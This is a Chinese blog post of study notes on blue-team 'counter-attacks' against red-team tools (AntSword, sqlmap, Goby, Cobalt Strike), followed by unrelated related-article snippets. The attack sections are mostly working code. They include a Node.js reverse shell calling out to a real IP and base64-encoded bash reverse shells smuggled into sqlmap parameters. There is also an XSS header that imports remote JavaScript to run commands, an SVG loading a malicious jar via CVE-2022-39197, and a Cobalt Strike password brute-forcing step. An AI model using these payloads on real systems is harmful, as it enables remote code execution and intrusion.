7、应急响应-战中溯源反制对抗上线蚁剑CSGobySqlmap等安全工具

用途:个人学习笔记,欢迎指正

目录

背景:

一、后门修改反制上线

二、Linux溯源反制-SQL注入工具-SQLMAP

1、测试反弹编码加密:

2、构造注入点页面test.php固定注入参数值,等待攻击者进行注入

3、红队攻击者进行注入测试:

三、溯源反制-漏洞扫描工具-Goby

(1)、构造页面index.php:

(2)、将index.php,1.js放入网站目录

(3)、模拟红队使用Goby扫描分析漏洞触发代码,反而被蓝队拿到权限,CS上线

四、 溯源反制-远程控制工具-CobaltStrike

1、伪造流量批量上线(欺骗防御)

2、利用漏洞(CVE-2022-39197)

3、反制Server,爆破密码(通用)


背景:

黑客一般会用到工具Sqlmap,Goby等对目标网站的现有资产做批量扫描和测试,同时也会利用Web应用漏洞上传后门来上线肉机,用到工具例如:蚁剑,CS等,那么作为蓝队应急人员,就可以针对这些行为采取反制手段。

一、后门修改反制上线

原理:网站目录查到红队后门时,蓝队修改后门添加上线代码,当红队使用蚁剑连接后门时触发代码,反而被上线.

1、后门修改测试:
<?php
header('HTTP/1.1 500 <img src=# onerror=alert(1)>');2、后门修改上线Nodejs代码:
var net = require("net"), sh=
require("child_process").exec("cmd.exe");
var client = new net.Socket();
client.connect(1122, "47.94.236.117",   //蓝队控制端IP和端口
function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});3、编码组合后:
header("HTTP/1.1 500 Not <img src=# onerror='eval(new
Buffer(`mFyIG5ldCA9IHJIcXVpcmUolm5ldClpLCBzaCA9IHJIcXVpcmUolmNoaW
xkX3Byb2NIc3MiKS5leGVjKCJjbWQuZXhllik7CnZhciBjbGllbnQgPSBuZXcgbmVo
LINvY2tldCgpOwpjbGllbnQuY29ubmVjdCgxMDA4NiwgljQ3Ljk0LjIzNi4xMTciLC
BmdW5jdGlvbigpe2NsaWVudC5waXBIKHNoLnNOZGluKTtzaC5zdGRvdXQucGlwZShj
bGllbnQpO3NoLnNOZGVyci5waXBIKGNsaWVudCk7fSk7`,`base64`).toString()
)'>");管道符` `中放的就是2中代码的base64加密值

二、Linux溯源反制-SQL注入工具-SQLMAP

蓝队提前构造注入页面诱使红队进行sqlmap注入拿到红队机器权限

环境:红队攻击机和蓝队主机都是linux系统
原理:
命令管道符:ping "`dir`"    ,   linux系统执行该命令时,管道符中的字符串被当作命令执行


sqlmap -u "http://47.94.236.117/test.html?id=aaa&b="`dir`"
sqlmap -u "http://47.94.236.117/test.html?id=aaa&b=`exec /bin/sh
0</dev/tcp/47.94.236.117/2233 1>&0 2>&0`"

同样以上命令在红队攻击机执行时,参数b管道符中的字符串会被当做命令执行。

1、测试反弹编码加密:

bash -i >&/dev/tcp/47.94.236.117/2233 0>&1
YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3LzlzMzMgMD4mMQ==
echo YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3LzlzMzMgMD4mMQ==
| base64 -d |bash -i

2、构造注入点页面test.php固定注入参数值,等待攻击者进行注入

<html>
<head><meta charset="utf-8"><title>A sqlmap honeypot demo</title>
</head>
<body><input>search the user</input>  <!--创建一个空白表单-><form action="username.html" method="post"
enctype="text/plain"><!--创建一个隐藏的表单--><input type='hidden' name='name'
value="xiaodi&id=45273434&query=shell`echo
YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3LZIzMzMgMD4mMQ==
base64 -d|bash -i`&port=6379"/><!--创建一个按钮,提交表单内容-><input type="submit" value='提交'></form>
</body>
</html>

3、红队攻击者使用Sqlmap进行注入测试反被上线

原理:红队执行这个注入命令时,管道符中的加密字符串被解密后执行,而解密执行的命令就是反弹shell的命令,使用Sqlmap工具时不知不觉就把shell权限给出去了

sqlmap -u "http://xx.xx.xx.xx/test.php" --data
"name=xiaodi&id=45273434&query=shell`echo
YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3LzIzMzMgMD4mMQ== |
base64 -d|bash -i`&port=6379"

 

三、溯源反制-漏洞扫描工具-Goby

环境:蓝队:Linux系统  Web程序
           红队:Windows10  Goby

原理:蓝队在红队攻击目标上写一个特殊文件,红队用goby扫描分析时会触发反制被蓝队拿到机器权限。

1、构造页面index.php:

<?php
header("X-Powered-By:PHP/<img src=1 onerror=import(unescape('http%3A//47.94.236.117/1.js'))>");
?>
<head>
<title>TEST</title>
</head>
<body>
testtest
</body>
</html>

构造1.js代码:  cs上线只需要把calc.exe改成powershell代码

(function(){
require('child_process').exec('calc.exe');
})();

2、将index.php,1.js放入网站目录

3、模拟红队使用Goby扫描分析漏洞触发代码,反而被蓝队拿到权限,CS上线

四、 溯源反制-远程控制工具-CobaltStrike

蓝队:Linux Web
红队:Windows10  Goby
对抗Cobaltstrike中的手段:

1、伪造流量批量上线(欺骗防御)

https://mp.weixin.qq.com/s/VCRg6F9Wq-yg-qajDoJuaw

2、利用漏洞(CVE-2022-39197)

Cobalt Strike <=4.7 XSS
·获取真实ip地址
·获取NTLM
·RCE
·SSRF

地址:https://github.com/its-arun/CVE-2022-39197

(1)、蓝队修改EXP里面的执行命令后编译成jar包
修改:EvilJar/src/main/java/Exploit.java  中的执行命令


(2)、蓝队修改svg加载地址并架设Web服务


修改:evil.svg  指向url地址,只要evil.svg被访问就会加载这个jar包,命令就会执行。

<svg xmIns="http://www.w3.org/2000/svg" xmIns:xlink="http://www.w3.org/1999/xlink" version="1.0">
<script type="application/java-archive" xlink:href="http://47.94.236.117:8888/EvilJar-1.0-jar-with-dependencies.jar"/>
<text>CVE-2022-39197</text>
</svg>

架设Web服务: 

python -m http.server 8888

(3)、蓝队利用EXP主动运行红队的后门被上线,攻击者CS客户端进程查看时触发加载蓝队架设的web服务,jar包中的命令就会执行。

python cve-2022-39197.py artifact.exe http://47.94.236.117:8888/evil.svg原理:蓝队利用exp主动运行后门被红队上线,当红队CS客户端查看进程时触发加载这个web服务evil.svg
文件,而这个文件又加载了EvilJar-1.0-jar-with-dependencies.jar,这个jar包中蓝队构造的命
令就被执行,从而达到反制红队的效果。

3、反制Server,爆破密码(通用)

针对没有采用隐匿C2地址的技术导致的反制(后门样本被溯源到C2地址)

https://github.com/ryanohoro/csbruter

python csbruter.py 47.94.236.117 pass.txt 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/662734.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

期权定价模型系列[12]SVI随机波动率模型

SVI模型 SVI 模型由 Gatheral&#xff08;2004&#xff09;提出&#xff0c;模型假定市场不存在日历套利机会和蝶式套利机会&#xff0c; 并在这个条件下构建一个一般化参数模型&#xff0c;具体形式为&#xff1a; SVI模型的原理是基于市场数据进行 SVI 表达式的参数优化&am…

13.1 Web与Servlet基础(❤❤)

13.1 Web与Servlet基础 1. Browser-Server (B/S)模式1.1 前言1.2 B/S执行流程1.3 请求与响应1.4 J2EE1.5 servlet1.6 Tomcat介绍2. Servlet入门2.1 Tomcat使用1. 下载2.Tomcat启动3. 相关配置调整2.2 idea整合Tomcat应用1. 资源绑定

第7章 网络管理

第7章 网络管理 7.1 ip 命令 使用 ip 命令可以配置临时网络的连接信息&#xff0c;相关命令如下&#xff1a; ip link&#xff1a;显示网络设备运行状态ip -s link&#xff1a;显示更详细的设备信息ip link show [网络设备名]&#xff1a;仅显示指定的网络设备名的信息ip lin…

MacBook安装虚拟机VMware Fusion

MacBook安装虚拟机VMware Fusion 官方下载地址: https://customerconnect.vmware.com/cn/downloads/info/slug/desktop_end_user_computing/vmware_fusion/11_0 介绍 之前的版本都要收费,现在出了对个人免费的版本, 棋哥给的破解版的版本是8,升级系统后用不了了. 官方去下载…

Flink实时数仓同步:流水表实战详解

一、背景 在大数据领域&#xff0c;初始阶段业务数据通常被存储于关系型数据库&#xff0c;如MySQL。然而&#xff0c;为满足日常分析和报表等需求&#xff0c;大数据平台采用多种同步方式&#xff0c;以适应这些业务数据的不同存储需求。这些同步存储方式包括离线仓库和实时仓…

【Qt 多线程+opencv 读取和显示图像】

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 前言工程需要Qt多线程opencv 结合信号与槽读取和显示图像 一、例程二、线程的开启和关闭三、判断线程是否还在运行总结 前言 提示&#xff1a;这里可以添加本文要记…

【2024美赛】A题(中英文):资源可用性与性别比例Problem A: Resource Availability and Sex Ratios

【2024美赛】A题&#xff08;中英文&#xff09;&#xff1a;资源可用性与性别比例Problem A: Resource Availability and Sex Ratios 写在最前面2024美赛翻译 —— 跳转链接 中文赛题问题A&#xff1a;资源可用性与性别比例需要检查的问题包括&#xff1a; 英文赛题Problem A:…

【HarmonyOS应用开发】Web组件的使用(十三)

文章末尾含&#xff1a;Web组件抽奖案例&#xff08;ArkTS&#xff09;-示例源码下载 Web组件的使用 一、概述 相信大家都遇到过这样的场景&#xff0c;有时候我们点击应用的页面&#xff0c;会跳转到一个类似浏览器加载的页面&#xff0c;加载完成后&#xff0c;才显示这个页…

数据结构 归并排序详解

1.基本思想 归并排序&#xff08;MERGE-SORT&#xff09;是建立在归并操作上的一种有效的排序算法,该算法是采用分治法&#xff08;Divide andConquer&#xff09;的一个非常典型的应用。 将已有序的子序列合并&#xff0c;得到完全有序的序列&#xff0c;即先使每个子序列有序…

05:容器镜像技术揭秘|发布容器服务器|私有镜像仓库

容器镜像技术揭秘&#xff5c;发布容器服务器&#xff5c;私有镜像仓库 创建镜像使用commit方法创建自定义镜像。Dockerfile打包镜像创建apache服务镜像制作 php 镜像 微服务架构创建nginx镜像 发布服务通过映射端口发布服务容器共享卷 docker私有仓库 创建镜像 使用commit方法…

elk之基本crud

写在前面 本文看下工作中用的最多的CRUD。让我们一起来做一个帅帅的CRUD BOY吧&#xff01;&#xff01;&#xff01; 1&#xff1a;基本操作 Create 格式1(指定ID)&#xff1a;PUT 索引名称/_create/文档ID {文档json} 格式2&#xff08;不指定ID&#xff09;:POST 索引名称…

【Algorithms 4】算法(第4版)学习笔记 03 - 1.3 背包、队列和栈

文章目录 前言参考目录学习笔记0&#xff1a;预热1&#xff1a;栈1.1&#xff1a;栈的链表实现1.1.1 代码实现1.2&#xff1a;栈的数组实现1.2.1&#xff1a;定容栈1.2.2&#xff1a;可调整大小数组1.2.3&#xff1a;代码实现1.3&#xff1a;链表与数组的取舍2&#xff1a;队列…

《吐血整理》高级系列教程-吃透Fiddler抓包教程(37)-掌握Fiddler中Fiddler Script用法,你会有多牛逼-下篇

1.简介 Fiddler是一款强大的HTTP抓包工具&#xff0c;它能记录所有客户端和服务器的http和https请求&#xff0c;允许你监视&#xff0c;设置断点&#xff0c;甚至修改输入输出数据. 使用Fiddler无论对开发还是测试来说&#xff0c;都有很大的帮助。Fiddler提供的功能基本上能满…

【Python】Python异常处理(一)

使用特定的异常 捕获特定的异常类似于使用专门的工具来完成不同的任务。 捕获特定的异常类型至关重要&#xff0c;而不是依赖于通用的包罗万象的语句。 这种做法使你能够区分各种错误并提供准确的错误消息&#xff0c;从而更有效地识别和解决问题。 try:# 可能引发特定异常的…

【LVGL环境搭建】

LVGL环境搭建 win模拟器环境搭建一.二.三.四.五. Ubuntu模拟器环境搭建一. 前置准备二. 下载LVGL Source code&#xff1a;三. 安装sdl2&#xff1a;四. 开启VScode执行五. 安装扩展套件六. 按F5执行七. 执行结果 win模拟器环境搭建 一. 二. 三. 四. 五. Ubuntu模拟器环境…

基于muduo网络库开发服务器程序和CMake构建项目 笔记

跟着施磊老师做C项目&#xff0c;施磊老师_腾讯课堂 (qq.com) 一、基于muduo网络库开发服务器程序 组合TcpServer对象创建EventLoop事件循环对象的指针明确TcpServer构造函数需要什么参数,输出ChatServer的构造函数在当前服务器类的构造函数当中,注册处理连接的回调函数和处理…

介绍msvcp140.dll丢失的解决方法的关键方法,关于msvcp140.dll文件

在使用电脑过程中&#xff0c;我们有时会遇到一些错误提示&#xff0c;比如msvcp140.dll丢失的问题。而这个问题的解决方法对于用户来说就显得尤为重要。本文旨在为大家简要介绍解决msvcp140.dll丢失问题的关键方法。 一.msvcp140.dll丢失的解决方法的详细步骤教程 重新安装相…

Leetcode 热门百题斩(第二天)

介绍 针对leetcode的热门一百题&#xff0c;解决大多数实习生面试的基本算法题。通过我自己的思路和多种方法&#xff0c;供大家参考。 1.两数之和&#xff08;题号&#xff1a;1) 方法一 最先想到的就是两个for去遍历匹配。 class Solution {public int[] twoSum(int[]…

C语言标准库所有字符串操作库函数汇总

以下是C语言标准库中字符串操作相关的API列表&#xff0c;这些函数通常在 <string.h> 头文件中定义&#xff1a; 1. strlen - 计算字符串长度&#xff0c;不包括结尾的空字符\0&#xff1a; size_t strlen(const char *str); 2. strcpy - 复制字符串&#xff1a; c…

Spring Bean 生命周期常见错误

虽然说 Spring 容器上手简单&#xff0c;可以仅仅通过学习一些有限的注解&#xff0c;即可达到快速使用的目的。但在工程实践中&#xff0c;我们依然会从中发现一些常见的错误。尤其当你对 Spring 的生命周期还没有深入了解时&#xff0c;类初始化及销毁过程中潜在的约定就不会…